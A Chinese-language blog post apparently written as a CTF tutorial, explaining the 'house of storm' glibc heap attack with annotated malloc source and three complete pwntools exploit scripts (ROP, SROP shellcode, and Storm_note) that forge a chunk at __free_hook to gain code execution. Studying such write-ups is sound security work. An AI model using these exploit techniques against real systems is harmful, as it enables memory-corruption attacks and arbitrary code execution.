house of storm
house of storm 是一个结合了 unsorted bin 和 largebin attack 的危害性极高的组合漏洞。其效果是可以实现任意地址申请一个堆块,他的思想主要就是通过 unsorted bin 和 largebin attack 来伪造并链进一个 unsorted bin。
利用条件是:
1、 glibc 版本小于等于 2.28
2、布局两个属于 large bin 的堆块,分别放在 unsorted bin 链表和 large bin 链表当中,前者的 size 要比后者的大,且两个堆块要属于同一个 index。
3、要能控制两个堆块的 data (一般来说存在 UAF,或者可变相实现 UAF )
通过上述利用条件的控制 data,我们把 unsorted bin 里的 bk 改为 target_addr ,把 large bin 里的 bk 改为 target_addr + 8 ,把 bk_nextsize 改为 target_addr - 0x18 - 5。这样再通过一系列的过程就可以伪造出一个堆块并链入 unsorted bin 中,再申请相应大小的堆块,即可实现任意地址分配。
下面从源码中看是如何伪造出那个 fake_chunk 的。
首先是把 victim 从链表中移除的源码,用到的伪造的部分是把 unsorted bin 里的 bk 改为 target_addr。实现了伪造 fake_chunk 的 fd,以及将其链入 unsorted_chunks(av)
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; // 把 fake_chunk 链入 unsorted_chunks(av) bck->fd = unsorted_chunks (av); // 把 fake_chunk 的 fd 改成 unsorted_chunks (av)
然后是 large bin attack 用到的源码,用到的是把 large bin 里的 bk 改为 target_addr + 8 ,把 bk_nextsize 改为 target_addr - 0x18 - 5。实现了伪造 fake_chunk 的 size 及 bk。
else { victim->fd_nextsize = fwd; //把 unsorted bin 里刚放进的 chunk->fd_nextsize 改为 large bin 里存在的 chunk 的首地址 victim->bk_nextsize = fwd->bk_nextsize; // unsorted bin 里刚放进的 chunk->bk_nextsize改为 large bin 里存在的 chunk->bk_nextsize fwd->bk_nextsize = victim; // 把 large bin 里存在的 chunk->bk_nextsize 改为 从 unsorted bin 里放进来 chunk 的首地址
victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//这里即把 size 伪造好了,victim->bk_nextsize->fd_nextsize
= target_addr - 0x18 - 5 + 0x20 = target_addr + 3 的地方写入了一个地址,那么开了 PIE 的堆块开头一般是 0x55 或 0x56 且长度是 6 字节,通过一个错位即可把size伪造进去 } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; //把 unsorted bin 里刚放进的 chunk->bk 改为 large bin->bk victim->fd = fwd; //把 unsorted bin 里刚放进的 chunk->fd 改为 large bin fwd->bk = victim; //把 large bin 的 chunk->fd 改为 unsorted bin 里刚放进的 chunk 的首地址 bck->fd = victim; //这里把 fake_chunk 的 bk 伪造好了,bck->fd = fwd->bk->fd = target_addr + 8 + 0x10 = target_addr->bk = victim
这样伪造出一个 fake_chunk 放在 unsorted bin 中之后,再进行分配即可把 chunk 头分配到 target_addr 了。
例题:BUUCTF rctf_2019_babyheap
exp:
ROP需要泄露堆地址
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./rctf_2019_babyheap') libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def add(size): s.sendlineafter(b'Choice: \n' , b'1') s.sendlineafter(b'Size: ' , str(size)) def edit(index,content): s.sendlineafter(b'Choice: \n' , b'2') s.sendlineafter(b'Index: ' , str(index)) s.sendafter(b'Content: ' , content) def delete(index): s.sendlineafter(b'Choice: \n' , b'3') s.sendlineafter(b'Index: ' , str(index)) def show(index): s.sendlineafter(b'Choice: \n' , b'4') s.sendlineafter(b'Index: ' , str(index)) add(0x88) # 0 add(0x4e0) # 1 add(0x10) # 2 add(0x4d8) # 3 add(0xf8) # 4 add(0x10) # 5 delete(0) edit(3 , b'a'*0x4d0 + p64(0xa80)) delete(4) add(0x88) # 0 show(1) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] success('libc_base=>' + hex(libc_base)) __free_hook = libc_base + libc.sym['__free_hook'] setcontext_53 = libc_base + libc.sym['setcontext'] + 53 pop_rdi_ret = libc_base + 0x0000000000021112 pop_rsi_ret = libc_base + 0x00000000000202f8 pop_rdx_ret = libc_base + 0x0000000000001b92 pop_rax_ret = libc_base + 0x000000000003a738 syscall_ret = libc_base + 0x00000000000bc3f5 ret_addr = libc_base + 0x0000000000000937 bss_addr = libc_base + libc.bss() add(0x4d0) # 4 add(0x1000) # 6 show(2) heap_base = u64(s.recvuntil(b'\x56')[-6:].ljust(8,b'\x00')) & 0xfffffffffffff000 success('heap_base=>' + hex(heap_base)) flag_addr = heap_base + 0xa90 orw_addr = heap_base + 0xbb0 delete(4) add(0x4e0) # 4 = 1 unsorted bin add(0x10) # 7 = 2 add(0x4d8) # 8 = 3 large bin add(0xf8) # 9 delete(3) add(0x1000) # 3 delete(1) fake_chunk_addr = __free_hook - 0x20 edit(4 , p64(0) + p64(fake_chunk_addr)) edit(8 , p64(0) + p64(fake_chunk_addr + 8) + p64(0) + p64(fake_chunk_addr - 0x18 -5)) add(0x48) # 1 orw = p64(pop_rdi_ret) + p64(flag_addr) orw+= p64(pop_rax_ret) + p64(2) orw+= p64(pop_rsi_ret) + p64(0) orw+= p64(pop_rdx_ret) + p64(0) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(3) orw+= p64(pop_rsi_ret) + p64(bss_addr) orw+= p64(pop_rdx_ret) + p64(0x100) orw+= p64(pop_rax_ret) + p64(0) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(1) orw+= p64(pop_rsi_ret) + p64(bss_addr) orw+= p64(pop_rdx_ret) + p64(0x100) orw+= p64(pop_rax_ret) + p64(1) orw+= p64(syscall_ret) edit(9 , b'./flag\x00\x00' + b'a'*0x98 + p64(orw_addr) + p64(ret_addr)) edit(6 , orw) edit(1 , p64(0) + p64(0) + p64(setcontext_53)) delete(9) #gdb.attach(s) s.interactive()
shellcode不需泄露堆地址
这里为什么要把 read_shellcode 放在 __free_hook + 0x10 的地方笔者也不是很清楚,可能和 hook 有关吧,以后有时间再去找原因。
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./rctf_2019_babyheap') libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') def add(size): s.sendlineafter(b'Choice: \n' , b'1') s.sendlineafter(b'Size: ' , str(size)) def edit(index,content): s.sendlineafter(b'Choice: \n' , b'2') s.sendlineafter(b'Index: ' , str(index)) s.sendafter(b'Content: ' , content) def delete(index): s.sendlineafter(b'Choice: \n' , b'3') s.sendlineafter(b'Index: ' , str(index)) def show(index): s.sendlineafter(b'Choice: \n' , b'4') s.sendlineafter(b'Index: ' , str(index)) add(0x88) # 0 add(0x4e0) # 1 add(0x10) # 2 add(0x4d8) # 3 add(0xf8) # 4 add(0x10) # 5 delete(0) edit(3 , b'a'*0x4d0 + p64(0xa80)) delete(4) add(0x88) # 0 show(1) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook'] success('libc_base=>' + hex(libc_base)) __free_hook = libc_base + libc.sym['__free_hook'] setcontext_53 = libc_base + libc.sym['setcontext'] + 53 mprotect = libc_base + libc.sym['mprotect'] bss_addr = libc_base + libc.bss() add(0x4d0) # 4 add(0x1000) # 6 show(2) heap_base = u64(s.recvuntil(b'\x56')[-6:].ljust(8,b'\x00')) & 0xfffffffffffff000 success('heap_base=>' + hex(heap_base)) flag_addr = heap_base + 0xa90 orw_addr = heap_base + 0xbb0 delete(4) add(0x4e0) # 4 = 1 unsorted bin add(0x10) # 7 = 2 add(0x4d8) # 8 = 3 large bin add(0xf8) # 9 delete(3) add(0x1000) # 3 delete(1) fake_chunk_addr = __free_hook - 0x20 edit(4 , p64(0) + p64(fake_chunk_addr)) edit(8 , p64(0) + p64(fake_chunk_addr + 8) + p64(0) + p64(fake_chunk_addr - 0x18 -5)) add(0x48) # 1 read_shellcode = f''' xor rdi, rdi mov rsi, {__free_hook & 0xfffffffffffff000} mov edx, 0x1000 mov eax, 0 syscall jmp rsi ''' orw = ''' mov rax, 0x67616c66 push rax mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, 2 syscall mov rdi, 3 mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall mov rdi, 1 mov rsi, rsp mov rdx, 0x100 mov rax, 1 syscall ''' frame = SigreturnFrame() frame.rsp = __free_hook + 0x10 frame.rdi = __free_hook & 0xfffffffffffff000 frame.rsi = 0x1000 frame.rdx = 7 frame.rip = mprotect edit(1 , p64(0) + p64(0) + p64(setcontext_53) + p64(__free_hook+0x18)*2 + asm(read_shellcode)) edit(6 , bytes(frame)) delete(6) s.sendline(asm(orw)) #gdb.attach(s) s.interactive()
storm_note
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./Storm_note') libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') def add(size): s.sendlineafter(b'Choice: ' , b'1') s.sendlineafter(b'size ?' , str(size)) def edit(index,content): s.sendlineafter(b'Choice: ' , b'2') s.sendlineafter(b'Index ?' , str(index)) s.sendafter(b'Content: ' , content) def delete(index): s.sendlineafter(b'Choice: ' , b'3') s.sendlineafter(b'Index ?' , str(index)) def backdoor(buf): s.sendlineafter(b'Choice: ' , b'666') s.sendlineafter(b'If you can open the lock, I will let you in\n' , buf) add(0x28) # 0 add(0x508) # 1 add(0xf8) # 2 add(0x18) # 3 add(0x28) # 4 add(0x508) # 5 add(0xf8) # 6 add(0x18) # 7 delete(0) edit(1 , b'a'*0x500 + p64(0x540)) delete(2) add(0x638) # 0 edit(0 , b'a'*0x28 + p64(0x4e1) + b'a'*0x4d8 + p64(0x41) + b'a'*0x38 + p64(0x101)) delete(1) delete(4) edit(5 , b'a'*0x500 + p64(0x540)) delete(6) add(0x638) # 1 edit(1 , b'a'*0x28 + p64(0x4f1) + b'a'*0x4e8 + p64(0x31) + b'a'*0x28 + p64(0x101)) delete(5) fake_chunk = 0xABCD0100 - 0x20 edit(1 , b'a'*0x28 + p64(0x4f1) + p64(0) + p64(fake_chunk)) edit(0 , b'a'*0x28 + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)) add(0x48) edit(2 , p64(0)*8) backdoor(b'\x00'*0x30) #gdb.attach(s) s.interactive()
参考链接:
https://blog.csdn.net/weixin_44145820/article/details/105709145
https://blog.csdn.net/weixin_44145820/article/details/105740530
https://bbs.pediy.com/thread-254849.htm
https://www.anquanke.com/post/id/176194
https://blog.csdn.net/qq_40827990/article/details/89280847
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/15862806.html